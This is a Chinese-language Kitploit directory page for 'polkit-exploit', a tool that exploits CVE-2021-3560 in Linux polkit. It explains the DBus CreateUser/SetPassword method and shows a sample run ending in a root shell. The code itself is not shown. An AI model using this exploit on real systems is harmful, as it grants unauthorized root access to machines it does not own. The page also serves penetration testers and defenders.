Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Polkit-exploit — 使用 polkit 进行权限提升 - CVE-2021-3560 | Kitploit
工具/GitHubGitHub/almorabea/polkit-exploit
权限提升漏洞分析漏洞利用后渗透利用渗透测试红队
GitHubalmorabea/polkit-exploit

Polkit-exploit

使用 polkit 进行权限提升 - CVE-2021-3560

查看仓库
126525年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Polkit漏洞利用 - CVE-2021-3560

利用polkit进行权限提升 - CVE-2021-3560

概述

CVE-2021-3560是polkit上的一个认证绕过漏洞,允许非特权用户通过DBus调用特权方法。在本漏洞利用中,我们将调用accountsservice提供的两个特权方法(CreateUser和SetPassword),从而创建一个特权用户并设置密码,最后登录该创建的用户并提升至root权限。

漏洞利用代码作者

Ahmad Almorabea @almorabea http://almorabea.net

使用方法

root@kitploit:~
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#

演示

GUI认证


终端认证


致谢

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

下载工具